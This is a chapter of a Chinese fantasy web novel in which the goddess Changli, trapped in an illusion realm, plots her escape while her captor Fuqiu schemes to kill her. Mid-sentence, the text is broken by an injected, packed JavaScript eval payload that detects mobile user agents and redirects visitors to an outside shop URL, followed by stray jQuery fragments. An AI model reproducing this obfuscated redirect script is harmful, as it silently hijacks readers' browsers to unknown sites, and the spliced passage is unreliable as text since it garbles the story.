盏低头笑了笑:“你如此看得起我,真让我有些受宠若惊,不过,他既然敢堂而皇之生造一个幻境将你困住,一定还留有后手,即便能出去,也不一定安全无虞,不如想想办法稳住他,先留在这里。”
长黎缓缓摇头:“不,我没有时间留在这里了,他们还在等着我,我的徒弟还有兄长。”
她的神情有些怅然,眼中没有神采,盏望着她,脸上的笑意也逐渐失了温度,化为苦笑。
“颉蘅贵为天界帝君,若几千年过去还需要等着别人来救,那也预示着大势已去,陨落有期了。所以,”
“你也不必太过忧心。”
盏不太情愿地加了后面一句。
长黎黯然垂目,没有反驳:“如你所说,扶丘孤身一人在这个幻境之中应对我,除了你的意外闯入,再无别的活人。周身的一切看起来都和九重天别无二致,但除了极目宫、郁苍宫这些他会让我久留的地方,他费了一些心思精雕细琢,其余之处......譬如千雷殿、长生丘,我只去过一次,就能看出许多破绽,毕竟环境可以仿造,但人心却不行,那些故人,就和身边这些小仙使一样,同样的神情,同样的反应,没有一点生气,状若纸片。”
“在这里,没有人和他相互照应,又有这么多容易被察觉的问题,怎么也不像要把我死死困在里面的样子,可想而知,他造出此境只不过是想要暂时将我迷惑,拖延时间,而在幻境之外,还要更厉害的一关,或者说,是更凶恶的对手。可是......”
长黎没有继续说下去。
她想要尽快出去,除了想要确定颉蘅和岐桑的状态,更大的原因,是她想早点和这个更凶恶之人碰面。
此人重现于世,势必会到处为祸。
以颉蘅的能力,应该早已将他擒住,不可能让他一直流落在外和他人里应外合,更不可能让自己陷入万分危急的境地。
可如今,这个祸端还流落在外,指使他人将她困在这里,一定有什么让颉蘅无法出手的理由。
或许,是岐桑。
以那人和岐桑的关系,将岐桑钳于手中并不是不可能。
虽然她相信岐桑不会被他蛊惑。
“不管怎样,我要尽快回到九重天。”
看着她眼神逐渐坚毅,盏也不再纠结:“你若执意要出去,那我也只好尽我所能了。”
如今九重天比这幻境还要密不透风,他也很想知道,里面是个什么情况。
“那明日便看你的表现了,”长黎会心一笑,支了支胳膊准备离开,“今日就先再委屈你在此多待上一日吧。”
盏嘴角僵了一下,垂下头挑了挑眉。
恩威并施的手段,她也是用得炉火纯青了。
“那便好走,不送。”
——
承梧殿中,梵香袅袅。
支撑大殿两端的若木躯干被撕开一个裂隙,源源不断的流光如灵泉一般从里面涌出,汇集到盘坐在殿中的扶丘身上。
他盘坐在清栿长案后,双目微闭,身姿坐态虽舒展,面上却微微紧绷,聚着一团难以散去的愁云。
输往体内的灵力越来越多,他的身子随着逐渐增强的气劲微微耸动,那张清隽俊逸带着帝君威仪的面容也渐渐渗出一丝薄汗。
“咝。”
裂隙中忽然传来一声异常的响动。
但还未等那声音完全落地,扶丘已警惕地沉下眉,朝声音的源头射出了一支暗箭。
灵力的传输也在此时瞬间停息。
循着暗箭疾驰的方向,一缕从树洞中飘出来的暗紫色薄烟被打得四散。
那烟慢慢悠悠地重新合在一起,向扶丘这头飘近了一些:“你把我当成谁了,这么提防?哦......没想到上次那个来路不明的小小邪物竟然让你这么应激。”
是个女子的声音。
扶丘似乎并不想搭理她,自顾自站了起来,脸上带着愠色:"有事便说,没有时间耽搁了。"
紫烟没好气地说:“当世日神,没想到如此不中用,我还从未见过比你还要木头脑袋的人。原以为你这假兄长还可以在她面前支撑到下一程,没想到你连自己的肉身都快保不住了。”
说到此处,扶丘的眼色隐隐暗了一分,但仍没有回头,一直朝大殿深处走:“只要能够成功,一具肉身又算什么,这是我能付出的代价,你也不必时时猜疑监视我了。”
“世间有情,你我都是为了至亲之人,我从没猜疑过你的决心。我来,是想提醒你一句,”
“我知道你想说什么,”扶丘了然垂目,淡漠一笑,“长黎确实比我想象中要心思缜密,对于她是否已然相信,我也曾有过犹疑,但如今她相不相信我就是颉蘅已经不再重要,与其在里面兜兜转转不停猜想,不如直接断了她的念想,断了她逃出生天的可能。”
“你打算把这里彻底封死?”
扶丘眼色深沉:“我原本是想按照计划,以百骨窟救人为名将她骗至我们早已部好之地,但今日她突然提醒了我,她一直希望我再找出一个备选的出口以防有意外发生,说明她此时最急切的,不是将岐桑救出来、怎么救,而是想要一个出口。”
“你最好不要擅自改变计划,将她引到谋划之地已是最好的选择,如今我已修炼大成,只等她落地便能一剑封喉。”
紫烟迅速跟上他。
扶丘走到窗边,看着窗外随风而动的树叶,目中似是无物:“这就要看她的行动了,若她只是心存怀疑,依然按我要求行事,不论从哪个出口,落地之处依旧尽在我们掌握,若她生出其他杂念,我便不得不继续留在这里同她再周旋一段时日了。”
“你莫要忘了,天内一日,天外百年,你若不早点将她引出,很多事都会有变数,而且在此间运转晨昏,需耗费大量神力,你不会真以为当上了日神就有日神之能了吧?”
这句话似乎刺痛了扶丘,他眼色一凛,收紧的拳头‘腾’得被火光包围,那火如寒冰燃起,凶光潋滟却凛冽刺骨。
原本平静的树洞之中也跟着亮起火光,一股强劲的吸力瞬间将本还在叫嚣的紫烟猛地吸了进去。
“你休要胡来!木头!犟驴......”
火光渐渐熄灭,树洞随着紫烟的消散完全闭合,只余一句骂骂咧咧的回声还在里面回荡。
扶丘抬起头,神情恢复如常,从窗边离开,就如刚才什么也没有发生一样。
——
临战之前的夜格外幽静。
长黎从地牢回来后,便没再和扶丘相见,一来她需要时间抉择之后的动作,二来她需要给扶丘足够的时间露出破绽。
此刻的他应该还有许多事要筹谋,只遣了一名‘仙侍’前来问候:“神尊可歇息了,帝君差小仙前来随侍。”
寝殿的宫灯微微亮起一盏,长黎的剪影从屏风后面起身:“明日还有正事要做,我已安置妥当,你回吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838508|211221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
“是。”
‘仙侍’应声退下,殿中的剪影也悠然躺倒,宫灯随之而灭。
那剪影在床榻上翻了几下身意思意思,便没有了其他动静。
幻境万象皆为仿造,扶丘能捏出千千万万个会走台本的小玩意,她自然也不在话下。
毕竟吸纳天地精华,博采众长有样学样正是她刻在骨子里的本能。
而她本人,并没有留在郁苍宫的寝殿中。
这几日以看管盏和方便同扶丘议事为由一直留在郁苍宫,为的是能够找到这幻境的泉眼。
扶丘长期盘踞在郁苍宫,必然会在此地倾注更多心血,也一定会将最充沛的灵力和能量汇聚在这里。
除此之外,他与外界勾连的接口应该也藏在这里。
她神目缺失,破幻能力有限,还无法探查到这个结界的开口,但其间的灵力她是能实实在在感受得到的。
浸沐几日,法力已经恢复得七七八八,也该去外面看看了。
只不过,扶丘设局虽有破绽,倒还十分沉浸,多日未曾出现在这极目宫中了,宫中的仙侍们仍在有条不紊地运作。
长黎打了个响指,忙忙碌碌的身影瞬间消散,只余星星点点的宫灯,和流云殿外孤身而立的她。
她神情空洞,推开殿门的声响都轻不可闻,真真假假的漩涡沉浮令她有些厌烦,此刻她只想尽量将自己放空,不要过多去想荆棘丛生无法预料的前路。
本是最熟悉最亲近之地,却只是一个为她量身定制的囚笼,有时候看着朝夕与共的情景和故人,总会有些恍惚,又不得不打起十二分精神拨开蒙蔽在眼前的假象,严阵以待。
譬如这极目宫,身处其中总会让人仿若回到了从前的日子,理智和警觉却一直在提醒自己,就当这是一场梦,一切都是幻念,梦很长,至今还未醒来。
原来,剥离神目最大的痛苦,不是肉身的剧痛和神力的削弱,而是逐渐学会不再相信双眼看到的东西。
她抬头看过去,殿内的宫灯依次亮起,里面的陈设摆件还是和前几日一样,但似乎每日都被真真切切清扫过,看起来满室星光,一尘不染。
她缓缓往里走,脸上逐渐露出一丝难以捉摸的笑容。
若一切都是幻想,那么在此境中的种种也都是虚幻和假面,又譬如这仙侍总管,不,譬如盏,在她面前巧言令色,小施妙计,为的也不过是短暂的结盟,趁她尚被蒙蔽,有足够的时间谋划。
她眼睫微垂冷笑一声,伸手轻轻一抚,将殿内被盏改饰的东西纷纷擦去,重新变回最开始的模样。
殿外的风随着殿内运功的气劲向里涌动,吹得窗棂上发出玲玲的响声。
长黎闻声回过头,向窗边走去。
窗户上爬着的藤蔓尚在,随风而动的枝叶与花蕊似乎受到吸引,纷纷面朝向她。
她倾身看向那花叶,花朵扬着头,抖了抖身上的露水,似乎有些不高兴。
还未等长黎定神,花芯中忽而生出一缕丝状的幽绿色轻烟,她瞬觉神识昏沉,眼色迷蒙,跌跌撞撞地向殿内的云榻走去。
快到床前她已支撑不住,完全合上了眼,似乎一双无形的手将她接住,安放到了床榻之上。
大殿静幽如潭,长黎安然地躺在纱帐之后,一片小小的银叶从她的袖中轻轻滑落出来。
那银叶落在她腕边静静地看了她好一会,起身将一件薄被披在了她腰间。